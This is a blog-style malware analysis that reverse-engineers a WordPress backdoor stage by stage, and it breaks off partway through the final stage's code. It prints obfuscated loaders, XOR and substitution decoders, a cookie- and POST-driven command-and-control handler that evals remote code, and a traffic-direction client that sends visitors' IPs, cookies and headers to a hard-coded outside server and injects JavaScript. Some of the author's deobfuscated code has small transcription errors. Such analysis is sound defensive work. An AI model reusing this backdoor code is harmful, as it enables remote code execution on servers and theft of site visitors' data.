Anatomy of a Wordpress Backdoor (C&C)

Reverse engineering the command and control structure of a Wordpress attack.

Software archeology usually relates to dated programs, like the bit we did on a 1960s graphics demo for the PDP-1. However, the same skill set also applies to reverse engineering more recent bits and bytes. In this case it’s about a Wordpress attack and its command & control structure.

A bit of background: This is a about an abandoned Wordpress installation, which has become infected repeatedly by variations of a hack described here. This kind of hack is known to use “old tagDiv themes” like “Newspaper”, “Newsmag” and derivatives thereof as a vector and has the nasty habit of spreading on the host to other sites using PHP by breaking out via the “find -name” system command. (I can’t say, if the Wordpress theme in question is really a derivate of one of the tagDiv-themes, but it includes a list of enhancements, like BuddyPress, bbpress, vc_templates, and a WooCommerce e-store, which isn't used at all and probably not configured, as well as a few extra plugins.) Recently, I discovered a new variation of the backdoor code, version “2.0-1” of the command & control structure, which is described here.

Anatomy of a Wordpress hack
(Sorry for the advert.)

A Nondescript Beginning

Let’s start at the very beginning: As we enter the website, we either are redirected to the “index.php” as the common starting point of all Wordpress related page requests, or, at least, the file “wp-settings.php” will be read and processed. This is also, where we find the first clue — or ist it “glue”?

At the very top of these two files we find this bit of extra code, followed by the legitimate code:

Note: All file paths and keys are redacted to protect the innocent.

<?php
/*dd28f*/

@include "\057ab\163/p\141th\057to\057vi\162tu\141l-\150os\164/h\164do\143s/\167p-\151nc\154ud\145s/\146on\164s/\056f2\1427e\1443a\056ic\157";

/*dd28f*/

We’ll ignore here the hex-signature in the padding comments, which may provide a key to be used by another mechanism referring to this key by use of PHP’s magic constant “__LINE__” (at least, I’ve seen this elsewhere already), and concentrate on the executable code. Obviously, this is a PHP include, which will read and execute the file located at the given path. But, what is this path? It’s provided in rather simple obfuscation, escaping every third character by its octal character code (as in “\ddd”).

It is equivalent to the human readable form:

Note: Any “@” prefixed in front of a command will suppress any warnings and errors and may ignored in this context.

<?php
/*dd28f*/

@include "/abs/path/to/virtual-host/htdocs/wp-includes/fonts/.f2b7ed3a.ico";

/*dd28f*/

Oh, it’s an invisible dot-file, hidding as an “*.ico” icon file in “wp-includes/fonts/”! But, actually, it’s a PHP executable. Let’s have a look (line-wrap applied):

<?php
$_bzjt0n =
basename/*3z*/(/*a*/trim/*qxf9r*/(/*v80*/preg_replace/*38t0g*/(/*3*/
rawurldecode/*p1*/(/*t*/"%2F%5C%28.%2A%24%2F"/*eb*/)/*laiw*/, '',
__FILE__/*lc*/)/*0v*//*sf*/)/*r*//*ut4y*/)/*ya*/;$_fgltk =
"G%03%14L%18%06%06W%0D%40%0C%07G%7DAH%25F%09b%40RR%1C%03%27%
14%28FL%2FZ...<much-more-of-this>"; eval/*8*/(
/*z*/rawurldecode/*ubx8*/(/*2g*/$_fgltk/*g*/)/*nfkpm*/ ^ substr/*9*/
(/*74u3*/str_repeat/*tjxyv*/(/*lw*/$_bzjt0n,/*b1*/(/*f*/strlen/*6jlv*/
(/*tnqls*/$_fgltk/*we9pz*/)/*8gi7w*//strlen/*jry9*/(/*xdz*/$_bzjt0n/*
ge1j*/)/*b*//*r*/)/*4k*/ + 1/*1lfm*/)/*iwa*/, 0, strlen/*r7kfj*/(/*lg*/
$_fgltk/*lc*/)/*0mf4*//*1b*/)/*lsnu*//*k9*/)/*z*/;


//64a223681baf2adae6b3de184294537e2j62qq6a%26pv3snn%2Fo%3D%7B%32
...<much-more-of-this>

Obviously, there are two kind of payloads, namely

"G%03%14L%18%06%06W%0D%40%0C%07G%7DAH%25F%09b%40RR%1C%03%27%…"

and the part in the trailing comment,

//64a223681baf2adae6b3de184294537e2j62qq6a%26pv3snn%2Fo%3D%7B%32…”.

In actuality these two strings extend over several screen pages, each. Moreover, the code is sprangled by character groups in multi-line comments (“/*…*/”). At first, I thought these may be used as some kind of key later, but they are just here to disturb any script trying to detect harmful or suspicious code.

However, there’s for sure something suspicious and fishy going on, mind the telltale signs of “eval”. Also, all these “%xx” strings look much like form-URL-encoded data.

Down the Rabbit Hole

So let’s follow the code, which will lead us quite a stretch down its rabbit hole…

Stage 1

Discarding the distracting comments and after a bit of deobfuscation, we arrive at the following code:

<?php
$filename = basename(trim(
    preg_replace( // strip eval-notes from filepath
        rawurldecode("%2F%5C%28.%2A%24%2F"), // gives "/\(.*$/"
        '',
        __FILE__                             // filename of this include
        )
    )
);
// $filename: ".f2b7ed3a.ico"

$payload = "G%03%14L%18%06%06W%0D%40%0C%07G%7DAH%25F%09b...";
eval(
    rawurldecode($payload) ^ substr(
        str_repeat($filename, (strlen($payload)/strlen($filename)) + 1),
        0,
        strlen($payload)
    )
);


//64a223681baf2adae6b3de184294537e2j62qq6a%26pv3snn%2Fo%3D%7B%32...

All names, comments, and formating in the blue boxes by me, N.L.

At this stage, the trailing, commented line is of no concern, so let’s have a look at the executable part:

The first construct reduces the PHP magic constant “__FILE__”, which provides the absolute filepath, to the basename of the ico-file. The “preg_replace()”-construct strips any strings starting with a bracket, like the annotations regarding eval-uated code as in (2) : eval()'d code, from the filepath. At this point, $_bzjt0n in the original code will contain the string of the raw filename, “.f2b7ed3a.ico”.

$_fgltk is our payload. This will be URL-decoded and processed by a simple block cypher, XOR-ing the the payload-string with a block of equal length composed of repetitions of the raw filename. The resulting string is then evaluated (executed as PHP code).

So the cypher text is (before URL-decoding)

"%2F%5C%28.%2A%24%2F..."

and the key

".f2b7ed3a.ico.f2b7ed3a.ico...",

resulting, when bitwise XOR-ed, in the respective clear text.

Stage 2

This gives us another string, to be handled by the PHP function “eval()” as another executable:

if (!defined('stream_context_create '))
{ define('stream_context_create ', 1);

$yhwawxuz = 1833; function cdpzkwe($vheyihhq, $hmdsrml){$dxllxyujiq =
''; for($i=0; $i < strlen($vheyihhq); $i++){$dxllxyujiq .=
isset($hmdsrml[$vheyihhq[$i]]) ? $hmdsrml[$vheyihhq[$i]] :
$vheyihhq[$i];} $eeazfeo="rawurl" . "decode";return
$eeazfeo($dxllxyujiq);} $oevfdffr =
'%Lh%L5%Lh%L5%TLrJr_vsU%f7%fNswwew_zek%fN%fb%fLQSWW%f6%aD%Lh%L5%
TLrJr_vsU%f7%fNzek_swwewv%fN%f'.
'b%fLL%f6%aD%Lh%L5%TLrJr_vsU%f7%fN0EB_sBs8CUreJ_Ur0s%fN%fb%fL'.
'...<much-more-of-this>...'; $wcrfzugm = Array('1'=>'M', '0'=>'m',
'3'=>'p', '2'=>'5', '5'=>'A', '4'=>'Y', '7'=>'8', '6'=>'9', '9'=>'T',
'8'=>'c', 'A'=>'q', 'C'=>'u', 'B'=>'x', 'E'=>'a', 'D'=>'B', 'G'=>'d',
'F'=>'O', 'I'=>'X', 'H'=>'E', 'K'=>'f', 'J'=>'n', 'M'=>'1', 'L'=>'0',
'O'=>'P', 'N'=>'7', 'Q'=>'N', 'P'=>'b', 'S'=>'U', 'R'=>'Z', 'U'=>'t',
'T'=>'4', 'W'=>'L', 'V'=>'w', 'Y'=>'K', 'X'=>'R', 'Z'=>'W', 'a'=>'3',
'c'=>'y', 'b'=>'C', 'e'=>'o', 'd'=>'I', 'g'=>'S', 'f'=>'2', 'i'=>'Q',
'h'=>'D', 'k'=>'g', 'j'=>'H', 'm'=>'F', 'l'=>'h', 'o'=>'G', 'n'=>'k',
'q'=>'V', 'p'=>'z', 's'=>'e', 'r'=>'i', 'u'=>'v', 't'=>'j', 'w'=>'r',
'v'=>'s', 'y'=>'6', 'x'=>'J', 'z'=>'l');
eval/*czddmow*/(cdpzkwe($oevfdffr, $wcrfzugm)); }

The first few lines are prohibiting the code from executing more than once. Mind the use of an actual PHP entity, stream_context_create, but here augmented by an extra space (which may escape the notice of any personal or script monitoring the site):

if (!defined('stream_context_create '))
{ define('stream_context_create ', 1);
  /* ... */
}

Inside this construct, we find another encryption mechanism, here deobfuscated and in pretty print:

$yhwawxuz = 1833;   // some kind of ID-stamp, not used in this context

function decrypt($stream, $cypher){
    $out = '';
    for($i=0; $i < strlen($stream); $i++){
        $out .= isset($cypher[$stream[$i]]) ?
            $cypher[$stream[$i]] : $stream[$i];
    }
    $func="rawurl" . "decode";
    return $func($out);
}

// payload data
$encrypted = '%Lh%L5%Lh%L5%TLrJr_vsU%f7%fNswwew_zek...';

// cypher codes
$cypher = Array(
    '1'=>'M', '0'=>'m', '3'=>'p', '2'=>'5', '5'=>'A', '4'=>'Y',
    '7'=>'8', '6'=>'9', '9'=>'T', '8'=>'c', 'A'=>'q', 'C'=>'u',
    'B'=>'x', 'E'=>'a', 'D'=>'B', 'G'=>'d', 'F'=>'O', 'I'=>'X',
    'H'=>'E', 'K'=>'f', 'J'=>'n', 'M'=>'1', 'L'=>'0', 'O'=>'P',
    'N'=>'7', 'Q'=>'N', 'P'=>'b', 'S'=>'U', 'R'=>'Z', 'U'=>'t',
    'T'=>'4', 'W'=>'L', 'V'=>'w', 'Y'=>'K', 'X'=>'R', 'Z'=>'W',
    'a'=>'3', 'c'=>'y', 'b'=>'C', 'e'=>'o', 'd'=>'I', 'g'=>'S',
    'f'=>'2', 'i'=>'Q', 'h'=>'D', 'k'=>'g', 'j'=>'H', 'm'=>'F',
    'l'=>'h', 'o'=>'G', 'n'=>'k', 'q'=>'V', 'p'=>'z', 's'=>'e',
    'r'=>'i', 'u'=>'v', 't'=>'j', 'w'=>'r', 'v'=>'s', 'y'=>'6',
    'x'=>'J', 'z'=>'l'
);

eval(decrypt($encrypted, $cypher));

The decrypt-function simply loops over the stream, replacing characters by a (non-linear) Caesar cypher. Notably, only those characters for which there is a corresponding cypher defined will be replaced, any others will be left as-is. It shouldn’t cause too much of wonder by now that the resulting string is — again — evaluated as a PHP executable, as indicated by the use of “eval()”.

Stage 3

So what may this third payload bring (somewhat late for Christmas, even in Russia — see below)?

@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@error_reporting(0);
@set_time_limit(0);


if(!defined("PHP_EOL"))
{
    define("PHP_EOL", "\n");
}

if(!defined("DIRECTORY_SEPARATOR"))
{
    define("DIRECTORY_SEPARATOR", "/");
}

if (!defined('file_put_contents '))
{
    define('file_put_contents ', 1);

    $mjquqzn = 'a2ffg78b-f19a-1836-2def-18aa87aa1296';
    global $mjquqzn;

    function gfofsy($ehannvd) {

        if (strlen($ehannvd) < 4)
        {
            return "";
        }

        $mufgwpq = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";

        $pzvgea = str_split($mufgwpq);
        $pzvgea = array_flip($pzvgea);

        $lemejtq = 0;
        $mukcoay = "";

        $ehannvd = preg_replace("~[^A-Za-z0-9\+\/\=]~", "", $ehannvd);

        do {
            $oqoljas = $pzvgea[$ehannvd[$lemejtq++]];
            $yocevo = $pzvgea[$ehannvd[$lemejtq++]];
            $bwvvgjrlosmde = $pzvgea[$ehannvd[$lemejtq++]];
            $zmqbqnok = $pzvgea[$ehannvd[$lemejtq++]];

            $ghymipozzjyt = ($oqoljas << 2) | ($yocevo >> 4);
            $grhmcky = (($yocevo & 15) << 4) | ($bwvvgjrlosmde >> 2);
            $iwroiuusdkwcen = (($bwvvgjrlosmde & 3) << 6) | $zmqbqnok;
            $mukcoay = $mukcoay . chr($ghymipozzjyt);
            if ($bwvvgjrlosmde != 64) {
                $mukcoay = $mukcoay . chr($grhmcky);
            }
            if ($zmqbqnok != 64) {
                $mukcoay = $mukcoay . chr($iwroiuusdkwcen);
            }
        } while ($lemejtq < strlen($ehannvd));
        return $mukcoay;
    }

    if (!function_exists('file_put_contents'))
    {
        function file_put_contents($iwroiuu, $ghymipo, $iwroiuuwcoms = False)
        {
            $ztzlid = $iwroiuuwcoms == 8 ? 'a' : 'w';
            $bwvvgjrl = @fopen($iwroiuu, $ztzlid);
            if ($bwvvgjrl === False)
            {
                return 0;
            }
            else
            {
                if (is_array($ghymipo)) $ghymipo = implode($ghymipo);
                $zfcgno = fwrite($bwvvgjrl, $ghymipo);
                fclose($bwvvgjrl);
                return $zfcgno;
            }
        }
    }

    if (!function_exists('file_get_contents'))
    {
        function file_get_contents($iwroiuumvqppg)
        {
            $mjrxvoez = fopen($iwroiuumvqppg, "r");
            $hqmcuhu = fread($mjrxvoez, filesize($iwroiuumvqppg));
            fclose($mjrxvoez);

            return $hqmcuhu;
        }
    }
    function gumtqqr()
    {
        return trim(preg_replace("/\(.*\$/", '', __FILE__));
    }

    function zobcjk($pvhjtyg, $auuscmsj)
    {
        $kybezz = "";

        for ($lemejtq=0; $lemejtq<strlen($pvhjtyg);)
        {
            for ($iwroiuusleqy=0; $iwroiuusleqy<strlen($auuscmsj) && $lemejtq<strlen($pvhjtyg); $iwroiuusleqy++, $lemejtq++)
            {
                $kybezz .= chr(ord($pvhjtyg[$lemejtq]) ^ ord($auuscmsj[$iwroiuusleqy]));
            }
        }

        return $kybezz;
    }

    function hqsynuik($pvhjtyg, $auuscmsj)
    {
        global $mjquqzn;

        return zobcjk(zobcjk($pvhjtyg, $auuscmsj), $mjquqzn);
    }
    function tatuqd($pvhjtyg, $auuscmsj)
    {
        global $mjquqzn;

        return zobcjk(zobcjk($pvhjtyg, $mjquqzn), $auuscmsj);
    }

    function cljoehwm()
    {
        $ocsxdwzp = @file_get_contents(gumtqqr());

        $mvfwlud = strpos($ocsxdwzp, md5(gumtqqr()));
        if ($mvfwlud !== FALSE)
        {
            $rpgwshci = substr($ocsxdwzp, $mvfwlud + 32);
            $pkjlbbx = @unserialize(hqsynuik(rawurldecode($rpgwshci), md5(gumtqqr())));
        }
        else
        {
            $pkjlbbx = Array();
        }

        return $pkjlbbx;
    }

    function xvfqzdhp($pkjlbbx)
    {
        $aquudom = rawurlencode(tatuqd(@serialize($pkjlbbx), md5(gumtqqr())));
        $ocsxdwzp = @file_get_contents(gumtqqr());

        $mvfwlud = strpos($ocsxdwzp, md5(gumtqqr()));
        if ($mvfwlud !== FALSE)
        {
            $zpadktq = substr($ocsxdwzp, $mvfwlud + 32);
            $ocsxdwzp = str_replace($zpadktq, $aquudom, $ocsxdwzp);

        }
        else
        {
            $ocsxdwzp = $ocsxdwzp . "\n\n//" . md5(gumtqqr()) . $aquudom;
        }

        @file_put_contents(gumtqqr(), $ocsxdwzp);
    }

    function ixsfvlb($cofzezq, $prkrylws)
    {
        $pkjlbbx = cljoehwm();

        $pkjlbbx[$cofzezq] = gfofsy($prkrylws);

        xvfqzdhp($pkjlbbx);
    }

    function giwnipts($cofzezq)
    {
        $pkjlbbx = cljoehwm();

        unset($pkjlbbx[$cofzezq]);

        xvfqzdhp($pkjlbbx);
    }

    function ncnigq($cofzezq=NULL)
    {
        foreach (cljoehwm() as $pnhjaqvh=>$uugqoegd)
        {
            if ($cofzezq)
            {
                if (strcmp($cofzezq, $pnhjaqvh) == 0)
                {
                    eval($uugqoegd);
                    break;
                }
            }
            else
            {
                eval($uugqoegd);
            }
        }
    }

    foreach (array_merge($_COOKIE, $_POST) as $ghymipoebgytc => $pvhjtyg)
    {
        $pvhjtyg = @unserialize(hqsynuik(gfofsy($pvhjtyg), $ghymipoebgytc));

        if (isset($pvhjtyg['ak']) && $mjquqzn==$pvhjtyg['ak'])
        {
            if ($pvhjtyg['a'] == 'i')
            {
                $lemejtq = Array(
                    'pv' => @phpversion(),
                    'sv' => '2.0-1',
                    'ak' => $pvhjtyg['ak'],
                );
                echo @serialize($lemejtq);
                exit;
            }
            elseif ($pvhjtyg['a'] == 'e')
            {
                eval($pvhjtyg['d']);
            }
            elseif ($pvhjtyg['a'] == 'plugin')
            {
                if($pvhjtyg['sa'] == 'add')
                {
                    ixsfvlb($pvhjtyg['p'], $pvhjtyg['d']);
                }
                elseif($pvhjtyg['sa'] == 'rem')
                {
                    giwnipts($pvhjtyg['p']);
                }
            }
            echo $pvhjtyg['ak'];
            exit();
        }
    }

    ncnigq();
}

This looks much like it may be actually doing something — let’s see…

The first few lines are setting some defaults, and check a flag in order to execute this only once per request. Again, the flag is the name of a regular PHP entity extended by a trailing blank.

@ini_set('error_log', NULL);           // no special error log
@ini_set('log_errors', 0);             // no special logging
@ini_set('max_execution_time', 0);     // like CLI context
@error_reporting(0);                   // all error reporting off
@set_time_limit(0);                    // like CLI context

// end-of-line and path separators
if(!defined("PHP_EOL"))
{
    define("PHP_EOL", "\n");
}

if(!defined("DIRECTORY_SEPARATOR"))
{
    define("DIRECTORY_SEPARATOR", "/");
}

// check/define flag (execute once)
if (!defined('file_put_contents '))
{
    define('file_put_contents ', 1);
    /* ... */
}

The inner block starts by the definition of an app-key (some UID, maybe based on the domain name). Then, basic functionality for file handling is provided: regular base64-decoding, and functions for writing and reading files as in “file_put_contents” and “file_get_contents”:

// UID
$appKey = 'a2ffg78b-f19a-1836-2def-18aa87aa1296';
global $appKey;

// regular base64 decoding
function _decode_base64($str) {

    if (strlen($str) < 4)
    {
        return "";
    }

    $alphabet =
      "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";

    $codes = str_split($alphabet);
    $codes = array_flip($codes);

    $idx = 0;
    $out = "";

    // discard any non-base64 chars
    $str = preg_replace("~[^A-Za-z0-9\+\/\=]~", "", $str);

    do {
        $h1 = $codes[$str[$idx++]];
        $h2 = $codes[$str[$idx++]];
        $h3 = $codes[$str[$idx++]];
        $h4 = $codes[$str[$idx++]];

        $q1 = ($h1 << 2) | ($h2 >> 4);
        $q2 = (($h2 & 15) << 4) | ($h3 >> 2);
        $q3 = (($h3 & 3) << 6) | $h4;
        $out = $out . chr($q1);
        if ($h3 != 64) {
            $out = $out . chr($q2);
        }
        if ($h4 != 64) {
            $out = $tx . chr($q3);
        }
    } while ($idx < strlen($str));
    return $out;
}

// assert basic file functions; define fallbacks, if missing

if (!function_exists('file_put_contents'))
{
    function file_put_contents($fpath, $contents, $append = False)
    {
        $mode = $append == 8 ? 'a' : 'w';
        $fhandle = @fopen($fpath, $mode);
        if ($fhandle === False)
        {
            return 0;
        }
        else
        {
            if (is_array($contents)) $contents = implode($contents);
            $success = fwrite($fhandle, $contents);
            fclose($fhandle);
            return $success;
        }
    }
}

if (!function_exists('file_get_contents'))
{
    function file_get_contents($fpath)
    {
        $fhandle = fopen($fpath, "r");
        $contents = fread($fhandle, filesize($fpath));
        fclose($fhandle);

        return $contents;
    }
}

Then, there are a few functions for basic encryption: The first one returns the raw file path (still the ico-file), the second one is a two-ways XOR-cypher, much like we’ve seen it before, and the two last ones are for encrypting and decrypting a stream by a provided key and, in an inner XOR-cypher, by the app-key (UID).

// get own filepath (discards any eval-annotations "(...")

function get_fpath()
{
    return trim(preg_replace("/\(.*\$/", '', __FILE__));
}

// xor block cypher

function xor_block_cypher($stream, $key)
{
    $out = "";

    for ($i=0; $i<strlen($stream);)
    {
        for ($k=0; $k<strlen($key) && $i<strlen($stream); $k++, $i++)
        {
            $out .= chr(ord($stream[$i]) ^ ord($key[$k]));
        }
    }

    return $out;
}

// encrypt / decrypt a stream by a key and the app-key

function decrypt_by_appKey($stream, $key)
{
    global $appKey;

    return xor_block_cypher(
        xor_block_cypher($stream, $key),
        $appKey
    );
}
function encrypt_by_appKey($stream, $key)
{
    global $appKey;

    return xor_block_cypher(
        xor_block_cypher($stream, $appKey),
        $key
    );
}

At this point, we’ve everything in place for decoding base64-encoded data, reading and writing files and a basic encryption scheme based on bitwise XOR.

Then there are some functions for managing a basic database. This database is actually appended to the ico-file (that’s what the trailing line of comments is for!).

/** database
 *  data is appended to the original ico-file after the md5-hash
 *  of the filepath. payload/data starts at 32 characters after
 *  the strpos of this marker as an encrypted stream of serialized
 *  key-value pairs
*/

function read_data()
{
    $contents = @file_get_contents(get_fpath());

    $mark = strpos($contents, md5(get_fpath()));
    if ($mark !== FALSE)
    {
        $chunk = substr($contents, $mark + 32);
        $data = @unserialize(
            decrypt_by_appKey(rawurldecode($chunk), md5(get_fpath()))
        );
    }
    else
    {
        $data = Array();
    }

    return $data;
}

function write_data($data)
{
    $encrypted = rawurlencode(
        encrypt_by_appKey(@serialize($data), md5(get_fpath()))
    );
    $contents = @file_get_contents(get_fpath());

    $mark = strpos($contents, md5(get_fpath()));
    if ($mark !== FALSE)
    {
        $chunk = substr($contents, $mark + 32);
        $contents = str_replace($zpadktq, $chunk, $contents);

    }
    else
    {
        $contents = $contents . "\n\n//" . md5(get_fpath()) . $encrypted;
    }

    @file_put_contents(get_fpath(), $contents);
}

function update_data($key, $value)
{
    $data = read_data();

    $data[$key] = _decode_base64($value);

    write_data($data);
}

function delete_from_data($key)
{
    $data = read_data();

    unset($data[$key]);

    write_data($data);
}

So there is an encrypted database, contained in the PHP-executable itself. It has methods to update/write data per hash-key and to delete it again. This database contains in turn executable code, as can be deferred by the following function, which is also next in this executable:

// execute all value-strings in data object
// optionally execute just a single task matching the provided key

function execute_data($singleKey=NULL)
{
    // loop over keys
    foreach (read_data() as $key=>$value)
    {

        // check if ther is an optional key
        // if so and it does match, execute just this one and exit
        if ($singleKey)
        {
            if (strcmp($singleKey, $key) == 0)
            {
                eval($value);
                break;
            }
        }
        else // execute the stored value
        {
            eval($value);
        }
    }
}

Now we’ve all the functions in place to manage and run executables from a database, included in the very same stand-alone file in the form of an encrypted key-value store. What’s still missing, is some kind of frontend for this database, the actual command & control utility. And here it is, the public facing frontend, making use of all those functions we’ve just defined:

// main, payload parsing: loop over cookie and/or POST-body

foreach (array_merge($_COOKIE, $_POST) as $key => $dat)
{

    // deserialize the encrypted string to a data object
    $dat = @unserialize(decrypt_by_appKey(_decode_base64($dat), $key));

    // if data contains an app-key "ak" equivalent to own app-key
    if (isset($dat['ak']) && $appKey==$dat['ak'])
    {
        // if there is a key "i" return info
        if ($dat['a'] == 'i')
        {
            $info = Array(
                'pv' => @phpversion(),
                'sv' => '2.0-1',
                'ak' => $dat['ak'],
            );
            echo @serialize($info);
            exit;
        }
        // "e": eval code from data-object, key as in "d"
        elseif ($dat['a'] == 'e')
        {
            eval($dat['d']);
        }
        // "plugin": update/delete data-object as specified in "sa"
        elseif ($dat['a'] == 'plugin')
        {
            // add/update property as in "p" and value as in "d"
            if($dat['sa'] == 'add')
            {
                update_data($dat['p'], $dat['d']);
            }
            // delete property as in "p"
            elseif($dat['sa'] == 'rem')
            {
                delete_from_data($dat['p']);
            }
        }
        // return the app-key
        echo $dat['ak'];
        exit();
    }
}

// finally, if no  matching app-key is provided,
// run any stored tasks on each page request
execute_data();

To sum this up, each page request will invoke this frontend, either for managing (in case there’s a matching app-key provided) or for running the stored procedures.

Commands are provided in the cookie string in the request header and/or in the POST-body of a POST request. These commands are provided in encrypted form, an outer bitwise XOR with the key of the command and inner XOR wirth the app-key.

Command parameters are:

Stage 4

However, don’t despair, this is not the end of the fun. We’re not at the end of this, not even near. There’s still the database left. Now that we know how to access it, we may have a look at it.

Invoking the basic encryption, we find a single entry for key “tds” (line-wrapped):

$zetnp = 2451; function farlainoci($cyvufd, $quuabk){$udcidr = '';
for($i=0; $i < strlen($cyvufd); $i++){$udcidr .=
isset($quuabk[$cyvufd[$i]]) ? $quuabk[$cyvufd[$i]] : $cyvufd[$i];}
$dxcjtbv="rawurl" . "decode";return $dxcjtbv($udcidr);} $rvrwailh =
'%F9%F7%F9%F7Ts%YF%YD%Y3P0sTZ0P%YD%Y5sTJ0_60M_xdZM0ZMR%YF%Y5%Yi%Yi%F9%F7%5r%F9%F'.
'7%YF%YF%YF%YFP0sTZ0%YD%Y5sTJ0_60M_xdZM0ZMR%YF%Y5%Yj%YF3%Yi%2'.
'...<much-more-of-this>...'. ''; $zpcbekmo = Array('1'=>'h', '0'=>'e',
'3'=>'1', '2'=>'3', '5'=>'7', '4'=>'v', '7'=>'A', '6'=>'g', '9'=>'D',
'8'=>'F', 'A'=>'S', 'C'=>'W', 'B'=>'w', 'E'=>'G', 'D'=>'8', 'G'=>'P',
'F'=>'0', 'I'=>'Y', 'H'=>'I', 'K'=>'N', 'J'=>'l', 'M'=>'t', 'L'=>'V',
'O'=>'z', 'N'=>'j', 'Q'=>'H', 'P'=>'d', 'S'=>'Z', 'R'=>'s', 'U'=>'E',
'T'=>'i', 'W'=>'K', 'V'=>'R', 'Y'=>'2', 'X'=>'M', 'Z'=>'n', 'a'=>'6',
'c'=>'p', 'b'=>'5', 'e'=>'Q', 'd'=>'o', 'g'=>'x', 'f'=>'r', 'i'=>'9',
'h'=>'X', 'k'=>'O', 'j'=>'C', 'm'=>'a', 'l'=>'4', 'o'=>'U', 'n'=>'J',
'q'=>'m', 'p'=>'y', 's'=>'f', 'r'=>'B', 'u'=>'L', 't'=>'q', 'w'=>'b',
'v'=>'T', 'y'=>'u', 'x'=>'c', 'z'=>'k');
eval/*lujtryq*/(farlainoci($rvrwailh, $zpcbekmo));

This uses the same Caesar cypher encryption scheme as we’ve seen it already, but this time using a different set of replacement codes. (Also, there’s another ID-stamp, which is — again — not used in this context.)

$zetnp = 2451; // ID-stamp, not used

/* ... */

$cypher = Array(
    '1'=>'h', '0'=>'e', '3'=>'1', '2'=>'3', '5'=>'7', '4'=>'v',
    '7'=>'A', '6'=>'g', '9'=>'D', '8'=>'F', 'A'=>'S', 'C'=>'W',
    'B'=>'w', 'E'=>'G', 'D'=>'8', 'G'=>'P', 'F'=>'0', 'I'=>'Y',
    'H'=>'I', 'K'=>'N', 'J'=>'l', 'M'=>'t', 'L'=>'V', 'O'=>'z',
    'N'=>'j', 'Q'=>'H', 'P'=>'d', 'S'=>'Z', 'R'=>'s', 'U'=>'E',
    'T'=>'i', 'W'=>'K', 'V'=>'R', 'Y'=>'2', 'X'=>'M', 'Z'=>'n',
    'a'=>'6', 'c'=>'p', 'b'=>'5', 'e'=>'Q', 'd'=>'o', 'g'=>'x',
    'f'=>'r', 'i'=>'9', 'h'=>'X', 'k'=>'O', 'j'=>'C', 'm'=>'a',
    'l'=>'4', 'o'=>'U', 'n'=>'J', 'q'=>'m', 'p'=>'y', 's'=>'f',
    'r'=>'B', 'u'=>'L', 't'=>'q', 'w'=>'b', 'v'=>'T', 'y'=>'u',
    'x'=>'c', 'z'=>'k'
);

eval(decode($encrypted, $codes));

Stage 5

This one expands to another executable (we’re still running the ico-file), which is, supprisingly lacking any obfuscation:

if (!defined('file_get_contents '))
{
    define('file_get_contents ', 1);

    class TdsClient
    {
        private $config;
        private $config_dict;

        public function __construct($config, $uid)
        {
            $this->config = $config;
            $this->uid = $uid;
        }

        private function _get_config()
        {
            if (empty($this->config_dict))
            {
                $this->config_dict = @unserialize($this->_decrypt(TdsClient::b64d($this->config), "bgyrtab5xch2czg"));
            }

            return $this->config_dict;
        }

        private function _http_query_curl($url, $content)
        {
            if (!function_exists('curl_version'))
            {
                return "";
            }

            $ch = curl_init();

            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 3);
            curl_setopt($ch, CURLOPT_TIMEOUT, 5);

            if (!empty($content))
            {
                curl_setopt($ch, CURLOPT_POST, 1);
                curl_setopt($ch, CURLOPT_POSTFIELDS, $content);
            }

            curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);

            $server_output = curl_exec($ch);
            curl_close($ch);

            return $server_output;
        }

        private function _http_query_native($url, $content)
        {
            $context = Array('http' => Array(
                'method' => 'GET',
                'timeout' => 5,
                'ignore_errors' => true));

            if (!empty($content))
            {
                $context['http']['method'] = 'POST';
                $context['http']['header'] = 'Content-type: application/x-www-form-urlencoded';
                $context['http']['content'] = $content;
                $context['http']['timeout'] = 5;
            }
            $context = stream_context_create($context);

            return @file_get_contents($url, FALSE, $context);
        }

        private function _http_query($url, $query)
        {
            $url = str_replace("[URL]", "77.87.193.14", $url);

            $content = $this->_http_query_curl($url, $query);
            if (!$content)
            {
                $content = $this->_http_query_native($url, $query);
            }

            return $content;
        }

        private function _get_request_ip()
        {
            $ip_keys = array('REMOTE_ADDR', );
            foreach ($ip_keys as $key)
            {
                if (array_key_exists($key, $_SERVER) === TRUE)
                {
                    foreach (explode(',', $_SERVER[$key]) as $ip)
                    {
                        $ip = trim($ip);
                        if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== FALSE)
                        {
                            return $ip;
                        }
                    }
                }
            }

            return "";
        }

        private function _query()
        {
            $tds_config = $this->_get_config();

            $ip = $tds_config["tds_ip"];
            $port = $tds_config["tds_port"];
            $path = $tds_config["tds_path"];

            $route = "yor8afx3";
            if (!empty($tds_config["route"]))
            {
                $route = $tds_config["route"];
            }

            $query = Array();
            $query['i'] = $this->_get_request_ip();
            $query['p'] = @$_SERVER['HTTP_HOST'] . @$_SERVER['REQUEST_URI'];
            $query['u'] = @$_SERVER['HTTP_USER_AGENT'];
            $query['a'] = @$_SERVER['HTTP_ACCEPT_LANGUAGE'];
            $query['r'] = @$_SERVER['HTTP_REFERER'];
            $query['ae'] = @$_SERVER['HTTP_ACCEPT_ENCODING'];
            $query['aa'] = @$_SERVER['HTTP_ACCEPT'];
            $query['ac'] = @$_SERVER['HTTP_ACCEPT_CHARSET'];
            $query['c'] = @$_SERVER['HTTP_CONNECTION'];
            $query['co'] = @serialize(@$_COOKIE);
            $query['cp'] = serialize(Array("a"=>$route, "uid"=>$this->uid));

            $query = http_build_query($query);
            $url = "http://" . $ip . ":" . $port . $path;

            return $this->_http_query($url, $query);
        }

        public function process_request()
        {
            $content = @unserialize($this->_query());

            if (isset($content["options"]))
            {
                foreach ($content["cookies"] as $key => $value_and_ttl)
                {
                    @setcookie($key, $value_and_ttl[0], time() + $value_and_ttl[0], "/", $_SERVER['HTTP_HOST']);
                }

                if (isset($content["options"]["type"]) && $content["options"]["type"]=="inject")
                {
                    $GLOBALS['injectable_js_code'] = TdsClient::b64d($content["data"]);
                    ob_start("TdsClient::postrender_handler");
                }
                else
                {
                    foreach ($content["headers"] as $key => $value)
                    {
